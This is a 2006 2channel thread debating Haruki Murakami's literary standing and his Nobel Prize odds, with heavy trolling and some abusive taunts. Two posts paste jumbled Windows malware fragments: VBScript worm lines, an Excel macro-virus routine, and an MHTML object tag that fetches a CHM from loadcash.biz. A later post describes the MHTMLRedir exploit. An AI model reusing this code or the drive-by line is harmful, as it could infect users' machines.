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【円貯めに】村上春樹・総合 4【ノーベルは無理】

1 :吾輩は名無しである:2006/10/03(火) 16:53:20
村上春樹総合スレッド その4です
前スレが終了次第つかってください
前スレは
【次は?】村上春樹・総合スレッド 3【世界へ】
http://book3.2ch.net/test/read.cgi/book/1155305182/l50

【可不可?】村上春樹・総合スレッド2【加負荷?】
http://book3.2ch.net/test/read.cgi/book/1144458740/

『村上春樹総合スレッド 1』
http://book3.2ch.net/test/read.cgi/book/1133854725/

公式HP【村上朝日堂】期間限定
 ttp://opendoors.asahi.com/asahido/

併行スレ
【表面的】村上春樹・総合スレッド2【パクリ】
http://www2.2ch.net/2ch.html

その他
村上春樹『風の歌を聴け』だけを語るスレ
http://book3.2ch.net/test/read.cgi/book/1096428679/l50

村上春樹の短編を語る
http://book3.2ch.net/test/read.cgi/book/1112960682/l50

「羊をめぐる冒険」をマッタリ語るスレ
http://book3.2ch.net/test/read.cgi/book/1033010569/l50

『世界の終わりとハードボイルド・ワンダーランド』
http://book3.2ch.net/test/read.cgi/book/1025143599/l50

2 :吾輩は名無しである:2006/10/03(火) 17:38:07
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
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<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+
chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ܷܵܶ

3 :吾輩は名無しである:2006/10/05(木) 22:55:45
引っ越したぞ w
【次は?】村上春樹・総合スレッド 3【世界へ】
>>1000
の誘導先のオカルトスレへの書き込み再活
528 :本当にあった怖い名無し :2006/10/05(木) 08:13:34 ID:B8yqaFNM0
いいかげん春樹なんかから卒業しろよ
ばななの場合もそうだけど一度下火になったのに
外国で評判がいいっていう情報をやたらと流すことによって再び読者を呼び込んでるんだよな

4 :吾輩は名無しである:2006/10/05(木) 22:57:32
産業ブンガク wwwwwwwwwwwwwwwwwwwwwwwwwwww
wwwwwwwwwwwwwwwwwwwwwwwwwwwwww
wwwwwwwwwwwwwwwwwwwwwwwwwww

5 :吾輩は名無しである:2006/10/05(木) 22:58:12
管轄は通産省

6 :吾輩は名無しである:2006/10/05(木) 23:02:18
>あと、小川洋子の文体も春樹に近い。

その春樹の文体は創元推理文庫「日時計」丸谷才一訳のパクリ
証拠隠滅のため現在絶版に w
創元推理文庫のあのあたりで絶版はきわめて異例


7 :吾輩は名無しである:2006/10/06(金) 11:14:09
>>2はブラフです。
少なくともドザ以外のユザには無害です。
通報しますよ。

8 :吾輩は名無しである:2006/10/06(金) 11:21:57
あちこちにコピペ汁
こらしめんとあかん

9 :吾輩は名無しである:2006/10/06(金) 13:39:47
村上春樹のファンってなんで基地外ばっかなんだ?
くだらないオナニースレ立てまくって住人の顰蹙買いまくり。
作品もオナニーなら読者もオナニーの見せ合い。

低脳どもは文学板から出て行け!

10 :吾輩は名無しである:2006/10/06(金) 17:48:31
>>1
重複過去スレです
削除依頼出しておきました

【マラソン】村上春樹・総合スレッド4【ランナー】
http://book3.2ch.net/test/read.cgi/book/1160037270/


11 :吾輩は名無しである:2006/10/06(金) 17:56:30
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
21 :吾輩は名無しである :2006/10/05(木) 22:35:57
辻仁成の『カイのおもちゃ箱』はまんま春樹だった。 あと、小川洋子の文体も春樹に近い。
22 :吾輩は名無しである :2006/10/05(木) 22:47:07
てか【円貯めに】村上春樹・総合 4【ノーベルは無理】 ほんとに後から立ってるよw
http://book3.2ch.net/test/read.cgi/book/1159882000/l50
村上春樹総合スレッド その4です 前スレが終了次第つかってください
前スレは 【次は?】村上春樹・総合スレッド 3【世界へ】
http://book3.2ch.net/test/read.cgi/book/1155305182/l50
【可不可?】村上春樹・総合スレッド2【加負荷?】
http://book3.2ch.net/test/read.cgi/book/1144458740/ この変なプログラムは何だろ?
23 :吾輩は名無しである :2006/10/05(木) 22:48:44
>>1 ちょっと何じゃね?
24 :吾輩は名無しである :2006/10/05(木) 22:50:02
『新しい人よ眼ざめよ』
『いかに>>1を殺すか』
『河馬に噛まれる』     
25 :吾輩は名無しである :2006/10/05(木) 22:52:24
じゃ>>22へ移動


12 :吾輩は名無しである:2006/10/06(金) 20:33:26
カイのおもちゃ箱のどこが春樹なんだよ

13 :吾輩は名無しである:2006/10/06(金) 22:31:09
セックスのトコ

14 :吾輩は名無しである:2006/10/07(土) 12:43:47
http://ansitu.xrea.jp/guidance/?Trap

うざい人のために


というか死ね

15 :吾輩は名無しである:2006/10/07(土) 14:47:57

「永遠の候補」乙w

16 :吾輩は名無しである:2006/10/07(土) 14:50:00
21と22は別人
やはり効きが悪いな




    それが春樹と春樹編集者と代理店ク・オ・リ・テ・ィ・ー www

17 :吾輩は名無しである:2006/10/07(土) 14:51:25



 「私が下馬評に乗った唯一の年
  それが2006年じゃった」

  とおじいちゃんは言った

18 :吾輩は名無しである:2006/10/07(土) 15:24:59

  糞スレ




















19 :吾輩は名無しである:2006/10/07(土) 20:14:05
村上春樹は芸術としての文学者ではなく
職業としての本書き者だから

ノーベルとは無縁だろうが
出版社から見れば扱いやすい

20 :吾輩は名無しである:2006/10/07(土) 20:17:24
サライとかあの手の雑誌に載せる連載の外注先としては最適

それ以上でもそれ以下でもない

21 :吾輩は名無しである:2006/10/07(土) 20:21:50
性を描けない作家

あの歪み方は何?

いろんな意味で力量の不足した作家だと思う

元来短編向き

22 :吾輩は名無しである:2006/10/07(土) 20:24:14
スペルマ作家と呼ぶといいと思う。
読んでるやつらは自分を慰めたいような人ばっか
ワールドな娯楽作家

23 :吾輩は名無しである:2006/10/07(土) 20:31:31
才能のキレの無さを
日々の規則正しいトレーニングでカバーしてる
って感じ

24 :吾輩は名無しである:2006/10/07(土) 20:57:45
規則正しさは大事だよ。
カントも規則正しい生活を送ってた。

25 :吾輩は名無しである:2006/10/07(土) 21:03:55
やっぱ純文学最高。春樹には無理。

26 :吾輩は名無しである:2006/10/07(土) 21:23:43
のべるスベリ当然なんで次スレタイ候補づくりでもしてあそぶか
【世界は知っていた】村上春樹ノーベル圏外・総合 5【知らないのは本人だけ】

27 :吾輩は名無しである:2006/10/07(土) 21:26:10
【ノーベル委員会、ストックホルムにて会合】村上春樹・総合 5【春樹は宇宙ゴミ化決定】

28 :吾輩は名無しである:2006/10/07(土) 21:28:27
【各国で文学ではないと】村上春樹・総合 5【太鼓判を押された男】

29 :吾輩は名無しである:2006/10/07(土) 21:34:10
世界でも一蹴された男

30 :吾輩は名無しである:2006/10/07(土) 21:42:08
23,24も別
使えまへんな〜
ヘタレプログラム

31 :吾輩は名無しである:2006/10/07(土) 21:49:24
文学賞の発表はまだだよね

32 :吾輩は名無しである:2006/10/07(土) 21:52:58
【お前らオタどもは】村上春樹・総合5【候補にすらなれない】

33 :吾輩は名無しである:2006/10/07(土) 22:07:35
【これ以上】村上春樹・総合5【糞スレ立てんな】

34 :吾輩は名無しである:2006/10/07(土) 22:14:50
【「純文学」なんて】村上春樹・総合5【日本だけw】

35 :吾輩は名無しである:2006/10/07(土) 22:52:42
【世界の頂点と】村上春樹5【ハードセックスワンダーランド】

36 :吾輩は名無しである:2006/10/07(土) 22:55:05
【2006年の】村上春樹5【ピントボケール】


微妙だな…

37 :吾輩は名無しである:2006/10/07(土) 22:57:53
【ねじまき鳥】村上春樹5【クロニクル】


そのままやんけ。

38 :吾輩は名無しである:2006/10/08(日) 10:19:28
さて「サッカー日本代表はベスト4入りします!」並みの
笑える村上症患者がたたかれる日がいよいよ今週
やってきます
ニュースが流れた瞬間から周りの村上症患者が馬鹿にされるかと
思うといい気分です
今年は馬鹿が馬鹿だと自覚するよい年なのです

39 :吾輩は名無しである:2006/10/08(日) 10:21:14
むちゃくちゃハマった時期があった。
今読み返してみると
風〜ノルウェイあたりまでは、もう読めないwはずかしくなるw

ねじまきくらいだな、今でも読めるのは。。。

春樹のネタもとを全部読んでしまったってのもあるけどね、、、
昔お世話になったアイドルみたいな郷愁は感じるけど
新作を追う気はもうなくなった…。
だいたい今の春樹にしか書けないものって遺されているのか?
小説家としてのモチベーションがあるように思えない。

春樹も今、悩んでるんだろうな…。ビジネスだったら
海外市場向けに過去の作品で金儲けすることはできるんだろうけど


40 :吾輩は名無しである:2006/10/08(日) 10:22:17
春樹は致命的にダサいんだよな。龍もダサいけどまだ許せるね。

41 :吾輩は名無しである:2006/10/08(日) 10:43:41
春樹ウィルスに感染した幸せな感覚が忘れられない。
アンチがなんと言おうと、ヘラヘラ笑って、「春樹っていよね」と言える。
早く、次の長編でないかな〜?

42 :吾輩は名無しである:2006/10/08(日) 12:02:51
>>40

煽りとかではなくマジ質問なんだが、現役の作家でダサくないのって、たとえば誰?

43 :吾輩は名無しである:2006/10/08(日) 12:16:21
>>39
べつにハマってはいなかったけど、同意。
もともと大した作家じゃないし、1を10に膨らませる様々な味付けの表現幅があっただけ。
全体像は箇条書きの羅列で、各構成の妙味が光ってただけ。
それも、今はない。


44 :吾輩は名無しである:2006/10/08(日) 16:03:47
村上春樹、ノーベル文学賞落選に寄せて


今年のノーベル文学賞は村上春樹氏ではなかった。
いやノーベル賞の受賞はこれからも氏にはないであろう。

しかし私はそれでいいと思うのである。
氏は文学ではないものを書き、それはそれなりに価値のある事なのだ。

初期の短編「土の中の彼女の小さな犬」にはこういうくだりがある。
「いいですか、これは能力ってほどのものじゃないんです。僕は霊感に導かれて
いるわけでもないし、普遍的な真実を語っているわけでもない。僕は目に見える
事実を事実としてしゃべっているだけです。それ以上の何かがあるとしても、そ
れは能力と呼べるほどのものじゃない。さっきも言ったけど、暗闇であやふやに
感じることを、あやふやな言葉に変えているだけです。ただのゲームです。能力
というものはもっと別のものです。」
本物の文学というものはもっと別のものである。
平凡な生活者が感じ考えることを言葉にしえたのが村上春樹である。村上はそれ
までの文学者なら書くほどのものではないと考えて書かなかったことを書いた。
そして自分のしていることの分というものをわきまえていた。そこがしっかりと
していたからこそ、村上の小説には普通人の道徳というようなキチンとした気が
感じられ爽やかだったのである。

しかし現在のファンたちはパズル解きに夢中になり、ない意味をつかまえようと
懸命になる。どうしたことだろう。そんな姿勢なら推理小説からでも意味は引き
出せるだろう。

45 :吾輩は名無しである:2006/10/08(日) 16:16:17
重複スレ乱立しては自作自演する哀れ名なバカw

46 :吾輩は名無しである:2006/10/08(日) 16:50:45
>>45
自己紹介乙 w

47 :吾輩は名無しである:2006/10/08(日) 16:52:18
それが今・の・エ・デ・ィ・タ・ー・ク・オ・リ・テ・ィ・ーwww

48 :吾輩は名無しである:2006/10/08(日) 16:53:01
>>45
自分と一緒にするなよ。

49 :吾輩は名無しである:2006/10/08(日) 16:53:36
昔から褒めもしないし捨てもせずに
そこそこのもんとしてたばこ吸うみたいに
読んでるやつが一番まともと思われ

ノーベルとかどうでもいいし


50 :吾輩は名無しである:2006/10/08(日) 16:59:47
全てのものごとは、
「粛々と」進行するのだからして。



51 :吾輩は名無しである:2006/10/08(日) 17:13:03
>>49
どーでもいいなんて投げやりは(・A・)イクナイ!!

川端康成が取っていなければ、日本文学なんて世界の中でマイナーのまんま。
ノーベルによってやっと
世界の舞台へ登場した。いかに万葉以来の歴史をもとうと
ヒトリヨガリの井戸の底ではどうしようもない。

世界へ通底する文学を書き、語り、論じてこそ、文学の意味がある。

52 :吾輩は名無しである:2006/10/08(日) 17:20:52
質が落ちたんじゃ元も子もないだろ w

53 :吾輩は名無しである:2006/10/08(日) 17:22:49
てかそもそも春樹受賞は100パーセントないから
これから何年たってもないよ

だから「受賞によって日本文学の未来を」なんて
力まなくていいから、村上君は。  by 大江

54 :吾輩は名無しである:2006/10/08(日) 17:24:47
「僕のせいでよく日本文学がダメになったとかって言われますけど、
僕くらいでダメになる日本文学ってそもそも…(笑)」
(柴田元幸との対話より)

55 :吾輩は名無しである:2006/10/08(日) 17:25:31
東大も民営化 → 海外への翻訳や提灯批評に文学部の将来を求めてる w
→ 出版社に協力 www

わるいことは言わん
やめとけ

56 :吾輩は名無しである:2006/10/08(日) 17:26:39
柴田元幸もイラネ
しっかり研究したら ?

57 :吾輩は名無しである:2006/10/08(日) 17:28:00
>>54
自意識過剰。
誰もそんなこと言ってない。

58 :吾輩は名無しである:2006/10/08(日) 17:37:39
そうだよな
日本文学の中に入れてもらってないものな

見まごうことなき円貯め本

59 :吾輩は名無しである:2006/10/08(日) 17:39:20
日常品だから
そもそも文学とは別物

文学であるかのように語られ始めてから
変になった
売れた頃から
ノルウェイとかその前のハードボイルドあたりからかな

60 :吾輩は名無しである:2006/10/08(日) 17:45:42
村上春樹は日本文学の本流。

春樹チルドレンらの亜流は、全くの別物。日常品、
その違いがわからんようなら本なんか読まずに漫画でも読んでればいい。
一生、文学とは無縁の輩だ。

61 :吾輩は名無しである:2006/10/08(日) 17:46:16
村上本人もいれてほしくないと思うよ。太宰も三島も大嫌い、読めません
って言ってたしねw

62 :吾輩は名無しである:2006/10/08(日) 17:55:53
>>60
村上春樹は模倣文学の典型で
出版社のサラリー源の主力w

63 :吾輩は名無しである:2006/10/08(日) 17:58:05
つうか文学界という名の文芸誌ですら「春樹受賞はこれからもないだろう」
と書いてるよ

64 :吾輩は名無しである:2006/10/08(日) 17:58:23
>>61
紫式部と大西巨人にいれあげてるけどねw

65 :吾輩は名無しである:2006/10/08(日) 17:59:42
取れないのが当然
それがふつうの感覚

66 :吾輩は名無しである:2006/10/08(日) 17:59:57
初期の春樹は近代文学(権威)のアンチテーゼとして評価できる。
しかし現在の春樹は自身が権威になってしまっている。
本人はそのことに気づいていないのだろうか。

67 :吾輩は名無しである:2006/10/08(日) 18:02:25
>63
今年は取れるわけがない。

「今度、日本でノーベル文学賞取れるとしたら誰だ?」
「それは村上春樹しかいないだろう」


という話だ。

68 :吾輩は名無しである:2006/10/08(日) 18:07:31
大西巨人はいいねw

>しかし現在の春樹は自身が権威になってしまっている。
具体的にいうと、どういうふうに?

69 :吾輩は名無しである:2006/10/08(日) 18:18:21
>>68
純文学で一番売れている作家で、若い世代への影響も絶大。
編集者も評論家も頭が上がらない。

70 :吾輩は名無しである:2006/10/08(日) 18:24:28
>>69
>純文学で一番売れている作家で、若い世代への影響も絶大。
それくらいは気づいているだろうねw

>編集者も評論家も頭が上がらない。
知り合いの編集者に言わせると、「礼儀正しくて、いい人」らしいよ。
感激してました。詳しくは書けないけど。

日本の評論家からは糞味噌に言われてるじゃん。


71 :吾輩は名無しである:2006/10/08(日) 18:25:59
>>66
>春樹は自身が権威になってしまっている

村上春樹は日本文学における第二の言葉革命時代に先駆けた作家だが、
そのあとを
津波のように追随して表面的な言語表現だけを真似てよしとする
大馬鹿連中が、
勝手に権威付けしたがっているだけだ。
そんな阿呆共はどうでもいいんだ。泡のように消えるから。


72 :吾輩は名無しである:2006/10/08(日) 18:33:30
>>70
村上春樹は
日本の評論家風情を相手にしてはいないと思われ。

昔の三島がそうであったように。

73 :吾輩は名無しである:2006/10/08(日) 19:06:02
そのとーり。

74 :吾輩は名無しである:2006/10/08(日) 19:16:41
何がそのとーりだよw
銭ゲバ出版社に守られてるだけだろ。
喧嘩売られても「やれやれ」しか言えない腑抜け。

75 :吾輩は名無しである:2006/10/08(日) 19:35:16
アホみたいな喧嘩をまともに買うバカがいんのか
相手に余裕であしらわれて頭に血がのぼるバカはみてられません

76 :吾輩は名無しである:2006/10/08(日) 19:55:37
女の腐ったようなやつだよ村上春樹って。
日本にいねーくせにラノベに毛が生えた程度の
小説書いてコミットメントとか抜かしてる。
マジ見かけたらうんこ食わせててやるよw

77 :吾輩は名無しである:2006/10/08(日) 20:08:22
おいおい、それ奴の好物だし。ぶっ(オナラの音)

78 :吾輩は名無しである:2006/10/09(月) 10:08:03
>>67 今年は取れるわけがない。
>>
>>「今度、日本でノーベル文学賞取れるとしたら誰だ?」
>>「それは村上春樹しかいないだろう」
>>
>>
>>という話だ。

それもない
そもそも対象にならないんだよ。


79 :吾輩は名無しである:2006/10/09(月) 15:31:24
自殺しそうな雰囲気の作家は幾らかいる

自殺者や不安定な者について書く作家もいる

村上を見ると自殺者や不安定な者について書いているにもかかわらず
絶対に自殺しそうもないというか正反対のタイプである事が気になる
会社員かカフェの店主のように決まり良く生活し、
計画的に作家人生を送っているという奇妙さ

80 :遊介 ◆m0yPyqc5MQ :2006/10/09(月) 15:41:23
あれはきっと奥さんが『こっち側』に引き留めてるんだね
クミコとか、最近ではマリとかでも頻出するテーマだね

引き留める役目、現実側にいつも居て、幻想から引き上げる役目
作品チェックしてもらってるらしいし



片方だけになったらきっと危ないよ
不安定になっちゃうよ

81 :吾輩は名無しである:2006/10/09(月) 16:48:29
>>77
村上龍の大好物なんでしょ?女王様のうんこ。

82 :吾輩は名無しである:2006/10/09(月) 18:10:53
>>76
>日本にいねーくせに
ずいぶん前に湘南に家建てて、ふつーに暮らしてるよ。


83 :吾輩は名無しである:2006/10/09(月) 18:16:18
>>76

非の打ち所ない正論ですね。

春樹の愛読者 = ナルシス糞キモヲタ













84 :吾輩は名無しである:2006/10/10(火) 00:33:00
もし受賞したら私大からノーベル賞が初めて出る事になるな。
8割から9割方とれるようなことテレビで行ってたけどな。

85 :吾輩は名無しである:2006/10/10(火) 01:33:28
公立大出でノーベル賞を狙ってるわたし

86 :吾輩は名無しである:2006/10/10(火) 10:55:17
ソレガテレビ ク・オ・リ・テ・ィ・ー

87 :吾輩は名無しである:2006/10/10(火) 12:13:53
遠藤周作だって慶應じゃん。

88 :吾輩は名無しである:2006/10/10(火) 12:27:45

祭り会場です↓

::::::::::i :・ |            ;ヘ,  ::::::::::::::,!
:::::::::::i ・: |           /./  :::::::::::::::::;!
:::::::::::i :・ !、.         / /  ::::::::::::::::,!         ,-、
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::::::::::::::゙:、 :・ ヽ、     i^ヾ'i    :::::::::/   ;'、;:;:;;;;:;;゙i .  ゙iヽ\     祭りじゃ 祭りじゃ
:::::::::::::::::ヽ、 ・: \     ゙、_ ゙:、   :::;ノ   i'゙i;====ヨ    ,! \\
::::::::::::::::::::::::\ :・ ゙''ー--、____゙i `ヽ、-‐'"    ! ''゙i;:;:;:;:;;! ,r‐'゙゙'' ,! ヽ、>
:::::::::::::::::::::::::::::::\ :・:・:・:・:・:、  ゙'ー‐-、,,;---、ゞ ゙''''''i'/   /       みんなmixiのせいじゃ
::::::::::::::::::::::::::::;;;;;;;;;;;>ー‐---‐''"ヾ、        ゙     ゙`   ,ノ
   ̄ ̄ ̄ ̄            ゙''ー-、,,___       ,;. 、 ,ソ
                          ゙i`    ,:;'' i; ヾi′
                           |    '"  ;:  ゙|
.                           |      ;:   !
                            |       ;;! ,!
                          i'^ゝ     ゙  !、
                               !       , 、  ',
                       ,;-‐'′          i
                         /         ミミミ !、
                     /        _,,,ノミミミ ヽ、
                      ,/       ,;-‐''  ヽ、    ゙;、
                    i'  /_,,;-‐''′     ゙:、    ゙i
                    i   `i           ゙:、   ;゙ヽ、

ニュース速報
http://news20.2ch.net/news/

89 :吾輩は名無しである:2006/10/10(火) 12:52:35




     プ ッ















90 :吾輩は名無しである:2006/10/10(火) 18:44:44
結局フランス人にもっていかれたね。

91 :吾輩は名無しである:2006/10/11(水) 04:34:07
まぁノーベル賞が例え駄目でも
中国、ロシア、イギリス、アメリカと一般大衆を魅了させただけで功績は十分

変な評論家じゃなくて一般大衆に受けるとこが肝心なのね

92 :吾輩は名無しである:2006/10/11(水) 08:28:04
しかし、村上文学も日本じゃもう〜

93 :吾輩は名無しである:2006/10/11(水) 09:36:14
まあノーベル賞もいいけれど
村上春樹にはカラマーゾフの兄弟のようないい小説を書いて欲しい

94 :吾輩は名無しである:2006/10/11(水) 10:50:08
カラマーゾフwww
一生言ってろアホ信者がw

95 :吾輩は名無しである:2006/10/11(水) 13:35:16
ようなじゃなくて、もろ、続編を書いてほしい。

96 :吾輩は名無しである:2006/10/11(水) 18:27:50
普通文学って個人の好き嫌いはあっても作者の真摯さが伺えるが
この人の作品にはある種のズルさを感じる。何故だろうか?


97 :吾輩は名無しである:2006/10/11(水) 19:41:11
作者の真摯さが好き嫌いにもなりうるから。

98 :吾輩は名無しである:2006/10/11(水) 20:12:49
村上春樹にはノーベル文学賞獲って欲しいですが、なにか?

99 :吾輩は名無しである:2006/10/11(水) 20:24:43
MHTMLRedir.Exploit

MHTMLRedir.Exploitは、悪意のあるWebサイトがユーザのコンピュータに
プログラムをダウンロードし、実行することができるようにします。

MHTMLRedir.Exploitには、ユーザに無断でプログラムをダウンロードして
実行できるように特別な細工をしたHTMLコードが含まれています。

ユーザが自分自身が含まれているWebページにアクセスしたり、HTML形式
の電子メールを受信するだけで、ファイルがダウンロードされ、実行されます。

通常、Internet Explorerは、実行形式のコンテンツのダウンロードおよび
実行を許可する前に、ユーザに許可を求めます。

しかし、特殊な細工が施されたHTMLの場合、Internet Explorerに存在する
脆弱性が原因で、前述のセキュリティ警告が迂回されてしまう可能性があります。

100 :吾輩は名無しである:2006/10/11(水) 20:26:01
おそらく日本人最後の砦だしね。
大江と春樹がなんか被るから、シュールレアリスム作家の安部やモダニズム詩人の西脇がとってれば、バランス良かったのに。

101 :吾輩は名無しである:2006/10/12(木) 16:53:25
なんだ最後ってw

102 :吾輩は名無しである:2006/10/12(木) 20:10:25
http://matome.news.excite.co.jp/page/%E6%9C%AC%E3%83%BB%E3%83%9E%E3%83%B3%E3%82%AC%E3%83%BB%E3%81%9D%E3%81%AE%E4%BB%96%E4%BD%9C%E5%AE%B6%E3%83%BB%E5%87%BA%E7%89%88%E9%96%A2%E9%80%A3%E6%83%85%E5%A0%B1.html

103 :吾輩は名無しである:2006/10/12(木) 21:59:51
とにかく「春樹、受賞するかもしれない」なんて
顔に出してるやつがいたら
そいつはガチで世界を知らないから

さて「サッカー日本代表はベスト4入りします!」並みの
笑える村上症患者がたたかれる日がいよいよ今週
やってきます
ニュースが流れた瞬間から周りの村上症患者が馬鹿にされるかと
思うといい気分です
今年は馬鹿が馬鹿だと自覚するよい年なのです

【世界は知っていた】村上春樹ノーベル圏外・総合 5【知らないのは本人だけ】

【各国で文学ではないと】村上春樹・総合 5【太鼓判を押された男】

世界でも一蹴された男

そもそも対象にならないんだよ。

104 :吾輩は名無しである:2006/10/12(木) 22:21:12
こいつが文学賞とれると本気で思ったやついるの?

105 :吾輩は名無しである:2006/10/12(木) 22:24:45
なんかホッとしたなw

106 :吾輩は名無しである:2006/10/12(木) 22:32:22
日本は文化弱小国。

107 :吾輩は名無しである:2006/10/12(木) 22:41:52
春樹がとれなかったら、もう日本人はノーベルとれないだろうね。

人類の長い文明史を眺めても、しばしば、中心地域が周辺化し、周辺地域が中心化して、中心と周辺が逆転してきた。
中心地域は、その繁栄ゆえに、次第に内部崩壊を起こし、求心力を失う。
それに対して、周辺地域が、逆に求心力を強化し、台頭してくる。
とすれば、今日の地球文明にあっても、中心地域を形成している先進諸国が空白化し、周辺地域に文明の重心が移るというようなこともありうるであろう。

108 :吾輩は名無しである:2006/10/12(木) 22:46:25
ハルキストwついに発狂www

みんなコピペしとけよw

109 :吾輩は名無しである:2006/10/12(木) 22:51:29
馬鹿なかきこでわたしたちを笑わせてくれたあの編集者の今の顔が見たい w

110 :吾輩は名無しである:2006/10/12(木) 22:54:15
でもさ、他の作家は村上春樹よりもそんなに良い作品を書くのか?

111 :吾輩は名無しである:2006/10/12(木) 22:54:49
>>107
大学1、2年レベルの意見乙
文学まではまだ遥かだぜ w

112 :吾輩は名無しである:2006/10/12(木) 22:58:22
きっと翻訳されると光るんだろうね。
そのうちには受賞するんじゃない?
別にノーベル賞をもらったからって、どうってことないわけだし。

113 :吾輩は名無しである:2006/10/12(木) 23:03:14
一番ほっとしているのは村上本人だろうな。

114 :吾輩は名無しである:2006/10/12(木) 23:05:25
プゲラw

115 :吾輩は名無しである:2006/10/12(木) 23:05:37
>>112
未練がましい例の粘着編集者が w

116 :吾輩は名無しである:2006/10/12(木) 23:10:30
翻訳されると光るといいですねw

ピカッw

117 :吾輩は名無しである:2006/10/12(木) 23:19:41
ヌー速から来ました。信者m9(^Д^)プギャーーーーーーーーーーー!!!!

線路に飛び込んで死ねやwwwwwwwwwwww

118 :吾輩は名無しである:2006/10/12(木) 23:24:07
ルサンチマンってほんと醜いな。

119 :吾輩は名無しである:2006/10/12(木) 23:25:11
いまごろ泣いてるね
はるきさん

120 :吾輩は名無しである:2006/10/12(木) 23:30:11
俺だったら、1週間は引きこもるね、絶対。

121 :吾輩は名無しである:2006/10/12(木) 23:41:52
ぼくは毎日マラソンしてます。いがいとタフなんです。

122 :吾輩は名無しである:2006/10/12(木) 23:47:04
なんだかな…正直馬鹿にしてる人のレスが…まあいいけど

123 :吾輩は名無しである:2006/10/12(木) 23:55:48
春樹がノーベル賞取ろうと取るまいと春樹は春樹だよね、いままでと何も変わりないよ。

124 :吾輩は名無しである:2006/10/13(金) 00:03:55
村上春樹w

125 :吾輩は名無しである:2006/10/13(金) 00:22:04
春樹を笑う2チャンネラーは自分が春樹以下だということに気づいていないW

126 :吾輩は名無しである:2006/10/13(金) 00:45:08
>>125
春樹や編集者は、文学ではなくエンタメ本作家だということ、
だからノーベル賞などもらえるはずがないことに気づいていないW
そこがポイント w

127 :吾輩は名無しである:2006/10/13(金) 00:49:21
>>126
「文学」とは何かね?

128 :吾輩は名無しである:2006/10/13(金) 00:54:46
>>111
小学1、2年レベルの批判乙
文学まではまだ遥かだぜ w


129 :吾輩は名無しである:2006/10/13(金) 01:10:42
ん?


春樹にはノーベル文学賞とって欲しいですし、日本語で小説を書いて
いる現役作家の中で、最も賞に近い人だと思っています。それで何か
問題あるのでしょうか。なんでこんなにスレが荒れる必要があるので
しょうか。ちょっち理解出来ませんが・・・。

130 :吾輩は名無しである:2006/10/13(金) 01:24:41
127,8,9
まだ粘着質の編集者が悔しさを堪えきれずにここにいる
ようでつね (微笑

131 :吾輩は名無しである:2006/10/13(金) 01:31:22
春樹さん
長生きしてくださいね
金の草鞋
持ってるといいらしいですよ
さいふなんかにぶらさげては
どっかで落としたりしたら大変だから
部屋の西側にかけておいたほーが
いいと思います

132 :吾輩は名無しである:2006/10/13(金) 01:37:51
>>131
おいおまいなー
うえのにいちゃんがバカバカいってんの
そろそろ気づけや
だったさっ

133 :吾輩は名無しである:2006/10/13(金) 04:21:34
なんかこのスレッドだけ行間が広いんですけどなぜですか?
ちなみの自分はLive2chです。

134 :吾輩は名無しである:2006/10/13(金) 07:05:41
オラハミ・パムキ

135 :吾輩は名無しである:2006/10/13(金) 07:07:40
♪♪hey hey hey 時には喪こせよMovement♪♪

http://etc4.2ch.net/test/read.cgi/motenai/1159195374/

がっかりさせない期待にこたえてサビ残で鬱なオイラを捨てるよ♪
自分で動き出さなきゃ
何も起こらない夜に
デモ隊組織し自殺者救え♪

136 :吾輩は名無しである:2006/10/13(金) 10:29:23


しごく当然の結果が出たわけで

日本人の賭け金が来るのを目当てにして
賭けの対象にはなっただろうが

文学的には最初から圏外
問題にもされていない

137 :吾輩は名無しである:2006/10/13(金) 12:11:48
ニュー速からきますた

138 :吾輩は名無しである:2006/10/13(金) 14:07:04
良い作品を書けばノーベル賞がとれるっていうわけじゃない

139 :吾輩は名無しである:2006/10/13(金) 14:46:23
村上春樹は大好きだが、受賞しなくてほっとしている。
“ノーベル賞作家”村上春樹。



どう考えたっておかしいだろ。

140 :吾輩は名無しである:2006/10/13(金) 14:52:39
ノーベル賞ておしゃれじゃないよね。
・・・・・・・・・・

書いてみて自己嫌悪

141 :吾輩は名無しである:2006/10/13(金) 15:23:47
春樹タンには合ってないな

142 :吾輩は名無しである:2006/10/13(金) 15:28:27
>>138

フッ まずは本物の文学書いてから言いなよ

143 :吾輩は名無しである:2006/10/13(金) 17:58:10
>>142
「本物の文学書」とは何ですか?

144 :吾輩は名無しである:2006/10/13(金) 17:59:59
>>142
訂正。
「本物の文学」とは何ですか?

145 :吾輩は名無しである:2006/10/13(金) 18:26:50
1960年代の前衛芸術は、“動”のネオダダに対して“静”のハイレッド・センターが活動したが、その一人である赤瀬川源平の言葉。

(馬オジサン)
ニセモノはホンモノに対抗してあふれてくるんだけど、あふれきってホンモノを追い出してしまうと、対抗するものがなくなってしまい、ニセモノも同時にフワッと消える。
(泰平小僧)
うーん、なるほど、とはいうものの、なるほど。
そうするとホンモノといっしょにニセモノまで消えてしまって、世の中はパッと消滅するんですか。
